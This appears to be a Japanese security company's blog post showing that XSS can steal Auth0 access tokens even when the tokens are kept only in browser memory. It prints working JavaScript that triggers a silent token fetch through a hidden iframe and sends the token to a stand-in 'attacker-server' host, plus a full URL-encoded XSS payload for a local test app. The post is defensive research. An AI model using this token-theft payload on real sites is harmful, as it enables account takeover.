Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

【PoC編】XSSへの耐性においてブラウザのメモリ空間方式はLocal Storage方式より安全か?

はじめに

こんにちは。 セキュリティエンジニアの@okazu-dm です。

この記事は、Auth0のアクセストークンの保存方法について解説した前回の記事の補足となる記事です。前回の記事の要旨をざっくりまとめると以下のようなものでした。

  • Auth0はデフォルトではアクセストークンをブラウザのメモリ空間上にのみ保存するin-memory方式であり、XSSへの耐性のなさ等の理由でlocalStorageで保存することを推奨していない
  • しかし、XSSでアクセストークンを奪取できるのはin-memory方式でも同じのはず(検証は行いませんでした)。localStorage方式を過度に忌避する必要はないのではないか

なお、Flatt Securityの提供するセキュリティ診断はAuth0に限らずFirebase AuthenticationやAmazon CognitoなどのIDaaSのセキュアな利用まで観点に含めて専門家がチェックすることが可能です。

ご興味のある方は是非IDaaS利用部分を含めたセキュリティ診断を実施したSUSTEN様の事例インタビューもご覧ください。

さて、前回の記事を公開した直後に、別の方がAuth0について触れた記事が(主にはてなブックマークで)拡散されていることに気づきました。

こちらの記事はAuth0だけでなく、SPA全般の話として広く比較検討されており、有用な内容も多いため一読の価値があります。

ですが、私が以前公開した記事の主張と食い違う点として、「実装によるが、in-memory方式だと他のJSからのアクセスが困難になる」というような主張がなされていました。

出典: https://mizumotok.hatenablog.jp/entry/2021/08/04/114431

こちらの点については私の主張と大きく異なっており、改めて私自身の主張の内容を精査する必要性を感じたため、また以前の記事では具体的な検証は行っていなかったため、今回は実際にXSSでin-memory方式であったとしても、アクセストークンが奪取可能であることを示します。

確かにメモリにはアクセスできないし、変数としてもアクセスできないのでトークンを奪取することはできません。しかし、XSS脆弱性を突く事により任意のJSが実行可能である場合トークンの更新フローを再度実行する事により実質的に奪取ができてしまう のです。

以下で示すPoCはそのフローを再現したものです。

免責事項

本稿の内容はセキュリティに関する知見を広く共有する目的で執筆されており、脆弱性の悪用などの攻撃行為を推奨するものではありません。許可なくプロダクトに攻撃を加えると犯罪になる可能性があります。当社が記載する情報を参照・模倣して行われた行為に関して当社は一切責任を負いません。

実験: 実際に攻撃してみる

では、早速実証していきます。 まず、攻撃対象のSPAですが、公式のサンプルをベースにして作成します。

こちらに対して以下のようなJSを実行すると、externalUrlに設定したURLに対して、アクセストークンをヘッダ、リクエストボディにそれぞれ含んだリクエストが発行されます。

const auth0Host = "https://XXXX.us.auth0.com";
const auth0Client = "YOUR_CLIENT"; // 必須パラメータではなさそう
const clientId = "YOUR_CLIENT_ID";
const redirectUrl = window.origin;
const externalUrl = "http://attacker-server:8080/"; // 攻撃者が奪取したアクセストークンを送る先のURL
window.addEventListener("message", (e) => {
  const access_token = e.data.response.access_token;
  console.log(e.data.response);
  console.log(access_token);
  fetch(externalUrl, {
    method: "POST",
    headers: {
      "Content-Type": "application/json",
      "Authorization": `Bearer ${access_token}`,
    },
    body: JSON.stringify({
      "access_token": access_token
    })
  })
})
const ifr = window.document.createElement("iframe");
window.document.body.appendChild(ifr);
ifr.setAttribute("src", `${auth0Host}/authorize?client_id=${clientId}&response_type=token%20id_token&redirect_uri=${encodeURIComponent(redirectUrl)}&scope=openid%20profile%20email&nonce=AAAA&response_mode=web_message&prompt=none&auth0Client=${auth0Client}`)

実際にブラウザの開発者向け機能でスクリプトを実行することでも動作を確認できますが、XSSとしてこれを実行させるにはアプリケーションの実装に応じてコードを調整する必要があります。

今回はXSSへの対策が全く存在しないSPAの例として、 クエリパラメータとして与えられたHTMLをそのままフロントエンドに展開するSPAとAPIサーバのセットを作成して検証しました。

以下のリポジトリで公開しています。

例えば、SPAでログインをしたことのあるユーザに以下のような形のURLを踏ませることで攻撃が成立します。(各種パラメータは筆者が手元で検証した際のものです)

http://127.0.0.1:3000/?greet=%3Cimg%20src=%27xxx%27%20onerror=%27const%20auth0Host%20=%20%22https://dev-i55ps3xn.us.auth0.com%22;const%20auth0Client%20=%20%22YOUR_CLIENT%22;const%20clientId%20=%20%228GyLmAz2olAiWwthnnr7i2Cc7CFLpKCg%22;const%20redirectUrl%20=%20window.origin;const%20externalUrl%20=%20%22http://attacker-server:8080/%22;window.addEventListener(%22message%22,%20(e)%20=%3E%20{const%20access_token%20=%20e.data.response.access_token;console.log(e.data.response);console.log(access_token);fetch(externalUrl,%20{method:%20%22POST%22,headers:%20{%22Content-Type%22:%20%22application/json%22,%22Authorization%22:%20`Bearer%20${access_token}`,},body:%20JSON.stringify({%22access_token%22:%20access_token})})});const%20ifr%20=%20window.document.createElement(%22iframe%22);window.document.body.appendChild(ifr);ifr.setAttribute(%22src%22,%20`${auth0Host}/authorize?client_id=${clientId}%26response_type=token%20id_token%26redirect_uri=${encodeURIComponent(redirectUrl)}%26scope=openid%20profile%20email%26nonce=AAAA%26response_mode=web_message%26prompt=none%26auth0Client=${auth0Client}`);%27%3E

このURLを踏んでSPAを表示した際に、ブラウザはAPIサーバに対して以下のようなリクエストを送信します。

これで、正規のユーザのアクセストークンを外部のサーバに対して送信することで、攻撃者によるアクセストークンの奪取が成功しました。

コードの解説

このコードはAuth0のSPA SDKがやっているアクセストークンの取得処理の仕組みをかなり大雑把に再現しています。

前提知識として、Auth0のSPA SDKはiframeを通じてAuth0のサーバと通信を行う、という点を踏まえてコードの解説をします。

最初の変数の初期化の箇所については、特筆すべき点はありません。

次に、window.addEventListener の処理ですが、こちらはiframeからpostMessage による通信を受け取り、攻撃者が用意したURLに対してアクセストークンを送信するイベントハンドラを設定しています。 iframeがAuth0から正しくアクセストークンを受け取ることができれば、こちらで設定したイベントハンドラには、以下のような形でアクセストークン等の情報が帰ってきます。

{
                    type: "authorization_response",
                    response: {
                        "access_token": "ACCESS_TOKEN",
                        "scope": "openid profile email",
                        "expires_in": 7200,
                        "token_type": "Bearer",
                        "id_token": "ID_TOKEN"
                    }
}

そして、イベントハンドラを設定した以降の処理はAuth0のサーバと通信を行うiframeを生成するための処理です。ifr.setAttribute で、Auth0のエンドポイントをiframeのURLとして設定することで、(ユーザから見て)バックグラウンドでアクセストークンの取得処理が実行されます。

ちなみに、こちらのURLから帰ってくるHTMLは以下のような内容です。

<!DOCTYPE html>
<html>
    <head>
        <title>Authorization Response</title>
    </head>
    <body>
        <script type="text/javascript">
            (function(window, document) {
                var targetOrigin = "http://localhost:3000";
                var webMessageRequest = {};
                var authorizationResponse = {
                    type: "authorization_response",
                    response: {
                        "access_token": "ACCESS_TOKEN",
                        "scope": "openid profile email",
                        "expires_in": 7200,
                        "token_type": "Bearer",
                        "id_token": "ID_TOKEN"
                    }
                };
                var mainWin = (window.opener) ? window.opener : window.parent;
                if (webMessageRequest["web_message_uri"] && webMessageRequest["web_message_target"]) {
                    window.addEventListener("message", function(evt) {
                        if (evt.origin != targetOrigin)
                            return;
                        switch (evt.data.type) {
                        case "relay_response":
                            var messageTargetWindow = evt.source.frames[webMessageRequest["web_message_target"]];
                            if (messageTargetWindow) {
                                messageTargetWindow.postMessage(authorizationResponse, webMessageRequest["web_message_uri"]);
                                window.close();
                            }
                            break;
                        }
                    });
                    mainWin.postMessage({
                        type: "relay_request"
                    }, targetOrigin);
                } else {
                    mainWin.postMessage(authorizationResponse, targetOrigin);
                }
            }
            )(this, this.document);
        </script>
    </body>
</html>

実験結果の考察と所感

この結果から、in-memory方式であったとしてもXSSが可能である場合、アクセストークンの奪取が可能であるとわかります。

前回の記事に書いたように、やはり根本的なXSSへの耐性としてはlocalStorage方式とin-memory方式に違いがないと言えるでしょう。

余談ですが、件の記事についているコメントを見る限り、私と同様の指摘をされている方もいました。

まとめ

今回は、前回の記事の補足として「XSSが成立すればin-memory方式であってもアクセストークンは奪取され得る」ということを実際のコードを交えて示しました。

この結果からもわかるように、XSSが存在する場合、基本的には任意のJavaScriptを実行可能となります。そのため、XSSによって引き起こされる結果を軽視すべきではないのですが、Flatt Securityが様々なお客様のプロダクトのセキュリティ診断を実施する中で、いまだにXSSは検出率の高い脆弱性のひとつです。やはり十分な知識と対策が世の中に広く浸透している状態ではないでしょう。

そのような危機感を起点として、XSSから生まれる具体的なリスクについて解説したFlatt Security Blogの過去記事は大きな反響を得ましたが、是非改めて多くの方に読んで欲しいと思います。

冒頭で紹介したように、Flatt Securityの提供するセキュリティ診断ではIDaaSの利用に関する診断も可能ですし、AWS・GCP・Azure等のパブリッククラウドその他のサービスをセキュアに扱えているか合わせて診断することも可能です。

診断プランは柔軟に様々な形が組めますが、上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。

また、Flatt Securityはセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式Twitterのフォローをぜひお願いします!

twitter.com

ここまでお読みいただきありがとうございました。